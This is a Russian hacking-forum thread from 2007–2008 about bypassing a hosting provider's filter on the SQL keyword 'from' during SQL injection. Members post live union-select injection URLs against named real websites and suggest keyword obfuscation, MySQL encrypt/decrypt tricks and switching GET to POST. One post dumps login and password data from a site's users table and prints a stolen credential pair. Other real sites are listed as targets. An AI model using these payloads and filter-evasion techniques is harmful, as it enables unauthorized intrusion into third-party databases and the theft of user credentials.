обход фильтрации запрещённых слов в MySql

Discussion in 'Уязвимости' started by AFoST, 22 Dec 2007.

  1. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Капался на просторах интернета и наткнулся на скул. Инъекция, как инъекция, даже ковычки не экранируются, но вот косяк, что фильтруется слово from. Ну и стал думать, как можно обойти фильтрацию. Долго не думал, потому что нечто подобное уже делали с пхп. Надо как-то зашифровать и потом расшифровать строку. Чем я и занялся. Покопался на разных ресурсах по MySQL и нашел несколько функций кодировки/декодировки строк. Начал экспериментировать. На моё удивление получилось следующее:
    при подстановке
    PHP:
    -1+union+select+des_encrypt(database(),'3')+/*
    выводилась строка "яcЌцI{ПџwЊ)яVeЖ…" далее подставляя
    PHP:
    -1+union+select+des_decrypt('яcЌцI{ПџwЊ)яVeЖ…','3')+/*
    На экране появлялась версия дб...
    Поэкпериментировав на локальном серве денвера получил следующее

    PHP:
    mysqlselect aes_encrypt(version(),'12');
    +-----------------------------+
    aes_encrypt(version(),'12') |
    +-----------------------------+
    /Ь0⌂Ва{ў_wВ╢ьДО            |
    +-----------------------------+
    1 row in set (0.00 sec)

    mysqlselect aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12');
    +--------------------------------------+
    aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12') |
    +--------------------------------------+
    4.1.16-max                           |
    +--------------------------------------+
    1 row in set (0.00 sec)

    mysqlselect ENCODE(user(),'2');
    +--------------------+
    ENCODE(user(),'2') |
    +--------------------+
    рL♂3М▬Яч╣,↓Gєs     |
    +--------------------+
    1 row in set (0.00 sec)

    mysqlselect decode('рL♂3М▬Яч╣,↓Gєs','2');
    +------------------------------+
    decode('рL♂3М▬Яч╣,↓Gєs','2') |
    +------------------------------+
    ODBC@localhost               |
    +------------------------------+
    1 row in set (0.00 sec)

    mysql>
    Главное не потерять ни одного символа. Но цели я своей так и не добился, нифига пока не обошёл фильтрацию...Вот собственно вопрос: КАК?!!??! Как это можно использовать?
     
    #1 AFoST, 22 Dec 2007
    Last edited: 22 Dec 2007
    2 people like this.
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    ну если фильтруется from, то вариант это использование подзапросов, далее надо поэксперементировать как именно фильтруется from, может быть фильтруется только в нижнем регистре, тогда можно попробовать FROM, иногда бывает фильтрация и верхний и нижний регистр фильтруется (как не странно видел один раз такое не с FROM конечно, но это не важно, тупость остается тупостью, конечно легче перевести $_REQUEST в нижний регистр и проверить на from, но фиг знает что употреблял кодер, на момент написания скрипта), тогда можно FrOm попробовать. from может фильтроваться с пробелом напимер " From" или "from ", тогда пробелы можно заменить на /**/ например так :
    а aes_encrypt, в связке с aes_decrypt используется для обхода ошибок связанных с кодировкой, т.е. в aes_encrypt ты посылаешь какоето значение (например результат выполнения функции version()) ну и ключ шифрования т.к. aes - алгоритм симметричного шифрования и ты знаешь ключ, то ты сразу же можешь зашифрованное значение расшифровать с помощью aes_decrypt но выведет результат эта функция уже в правильной кодировке, т.е. общая формула такая M=Dk(Ek(M)), M - открытый текст, Ek - функция зашифровки с ключем k, Dk -функция расшифровки с ключем k, т.е.
    при этом aes_decrypt(aes_encrypt(version(),0x71),0x71) дает результат в "своей", т.е. в нужной кодировке, обычно для этого эти функции и используют, пример
    выдаст версию mysql
     
    #2 Scipio, 23 Dec 2007
    Last edited: 23 Dec 2007
    palec2006 and AFoST like this.
  3. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Фильтруется from в любом известном проявлении в GET запросе, даже в случае "-1+union+select+'from'+/*" ... А про декрипт/инкрипт уже сам допёр. Но к сожалению это очень врядли можно использовать чтобы обойти эту фильтрацию...ибо user(), как я узнал, является в мускуле лишь строковой переменной, а если криптовать/декриптовать 'from' то вместо того, что нужно получится лишь ошибка :(

    Да собственно вот ссылка, мне уже просто интересно, кто-ибудь обойдёт фильтрацию!? Отпишитесь тут плз...оч прошу.
    www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+user()+/*
     
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    фильтруется только гет запрос, щас проверил, через пост всёнормально отправляется
    Юзай Post =)
    ЗЫ Это sweb хостинг, его защита легко обходится заменив GET запрос на POST
    Тут на форуме есть скрипт от Мэднета, вот залил что бы не искать
    http://ziroday.narod.ru/post.php
     
    #4 Spyder, 23 Dec 2007
    Last edited: 23 Dec 2007
  5. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Вот не фильтруется нифига:
    http://www.internatura.ru/index.php?op=cat&sec=24&gn=5785+order+by+1/*from*//*

    у меня плохо работающий жопорез, поэтому раскрутить не получится, а вобще это показывает, что from не фильтруется
     
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Scipio, ты не совсем прав
    Например
    http://www.internatura.ru/index.php?op=cat&sec=24&gn=5785+order+by+from/*
    тоже не фильтруется, но при
    www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+user()+from+mda/*
    перекидывает на sweb, это их знаменитая хэк защита, которая (как я написал выше) обходится отправиь запрос методом пост
     
    1 person likes this.
  7. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Довольно интересно...))
    Запрос откидывается, если в запросе (масло маслянное) присутствуют Union, Select, From, именно в такой последовательности...
    Тут думаю или пост, или пробовать подзапросы
     
  8. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    угу, когда пробовал меня на sweb не перекинуло, поэтому не заметил, сейчас посмотрел, ты прав абсолютно, мля пров достал уже с профилактикой, а жопрез у нас работает через свое название
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Да йопт, чё пробовать то))) Пост работает, сам проверял
    Кстати там ещё фильтруется слово /etc/passwd :D
    Вобщем вот
    http://www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+concat_ws(':',login,password)+from+users/*
    viktor:1940
     
    2 people like this.
  10. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Spyder, прсто respect!!! Пост запросом имхо лучше через inetcrack пользоваться :) Скопировал хеад от гета, заменил метод и чуть подправил :)
     
    #10 AFoST, 23 Dec 2007
    Last edited: 23 Dec 2007
  11. goror

    goror New Member

    Joined:
    19 Mar 2008
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    А если параметр в скрипте только через $_GET передается, есть возможность обхода фильтрации?
     
  12. goror

    goror New Member

    Joined:
    19 Mar 2008
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    На одном из серверов Sweb-a фильтруется даже select from,
    например http://www.74region.ru/?select%20from ,
    а на некоторых не фильтруется последовательность
    "select, from, union, select".
     
  13. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    выложите плз еще скрипт от маднета
     
  14. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Пора бы уже запомнить что на sweb фильтруется from /etc/ passwd и еще несколько подобных выражений.. обходится все посылкой пост запросов, кукисов ..и тд
     
  15. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    кстати /etc/passwd фильтруется и через пост ))
     
  16. goror

    goror New Member

    Joined:
    19 Mar 2008
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    На нкоторых серверах sweb не фильтруется "from".

    Пример.
    http://1-avto.com/car.html?select%20from не фильтруется
    а http://1-avto.com/car.html?union%20select%20from
    фильтруется.

    А по поводу пост запросов и т.д., в некоторых скриптах только гет проходит.